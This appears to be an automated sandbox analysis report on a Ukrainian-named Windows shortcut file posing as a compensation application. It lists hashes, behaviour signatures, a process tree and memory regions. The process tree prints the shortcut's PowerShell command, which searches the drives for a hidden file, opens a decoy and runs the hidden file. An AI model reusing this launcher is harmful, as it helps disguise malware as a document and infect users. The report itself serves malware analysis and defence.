Analysis

  • max time kernel
    144s
  • max time network
    147s
  • platform
    windows10-1703_x64
  • resource
    win10-20220901-en
  • resource tags

    arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
  • submitted
    16-09-2022 11:43

General

  • Target

    ЗАЯВА-на-отримання-компенсації.lnk

  • Size

    411KB

  • MD5

    c15aa00479cae0a8bae7c926d7fd8ba6

  • SHA1

    9c7c059e617380eb7bf5b5ae41b2874e2cf5111c

  • SHA256

    bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7

  • SHA512

    79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72

  • SSDEEP

    24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2696
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3508
      • C:\Windows\SysWOW64\findstr.exe
        "C:\Windows\system32\findstr.exe" :\
        3⤵
          PID:1796
        • C:\Windows\SysWOW64\findstr.exe
          "C:\Windows\system32\findstr.exe" jfilyg7
          3⤵
            PID:2728
          • C:\Windows\SysWOW64\findstr.exe
            "C:\Windows\system32\findstr.exe" jfilyg7
            3⤵
              PID:4124

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Discovery

        System Information Discovery

        1
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/1796-245-0x0000000000000000-mapping.dmp
        • memory/2728-264-0x0000000000000000-mapping.dmp
        • memory/3508-120-0x0000000000000000-mapping.dmp
        • memory/3508-121-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-122-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-123-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-124-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-125-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-126-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-127-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-128-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-130-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-131-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-129-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-134-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-133-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-135-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-132-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-137-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-136-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-138-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-139-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-140-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-141-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-142-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-143-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-144-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-145-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-146-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-147-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-148-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-149-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-150-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-151-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-152-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-153-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-155-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-156-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-157-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-158-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-159-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-160-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-162-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-161-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-163-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-154-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-164-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-165-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-166-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-167-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-168-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-169-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-170-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-171-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-172-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-173-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-174-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-175-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-176-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-177-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-178-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-179-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-180-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-181-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-182-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-183-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-184-0x0000000077890000-0x0000000077A1E000-memory.dmp
          Filesize

          1.6MB

        • memory/3508-193-0x0000000006B60000-0x0000000006B96000-memory.dmp
          Filesize

          216KB

        • memory/3508-196-0x00000000072A0000-0x00000000078C8000-memory.dmp
          Filesize

          6.2MB

        • memory/3508-206-0x0000000007150000-0x0000000007172000-memory.dmp
          Filesize

          136KB

        • memory/3508-209-0x0000000007940000-0x00000000079A6000-memory.dmp
          Filesize

          408KB

        • memory/3508-210-0x0000000007A90000-0x0000000007AF6000-memory.dmp
          Filesize

          408KB

        • memory/3508-211-0x0000000007B00000-0x0000000007E50000-memory.dmp
          Filesize

          3.3MB

        • memory/3508-214-0x0000000007A20000-0x0000000007A3C000-memory.dmp
          Filesize

          112KB

        • memory/3508-215-0x0000000008400000-0x000000000844B000-memory.dmp
          Filesize

          300KB

        • memory/3508-219-0x0000000008170000-0x00000000081E6000-memory.dmp
          Filesize

          472KB

        • memory/3508-229-0x0000000009300000-0x0000000009394000-memory.dmp
          Filesize

          592KB

        • memory/3508-230-0x0000000009010000-0x000000000902A000-memory.dmp
          Filesize

          104KB

        • memory/3508-231-0x0000000009260000-0x0000000009282000-memory.dmp
          Filesize

          136KB

        • memory/3508-232-0x00000000098A0000-0x0000000009D9E000-memory.dmp
          Filesize

          5.0MB

        • memory/3508-243-0x0000000009440000-0x000000000948A000-memory.dmp
          Filesize

          296KB

        • memory/3508-259-0x000000000A420000-0x000000000AA98000-memory.dmp
          Filesize

          6.5MB

        • memory/4124-283-0x0000000000000000-mapping.dmp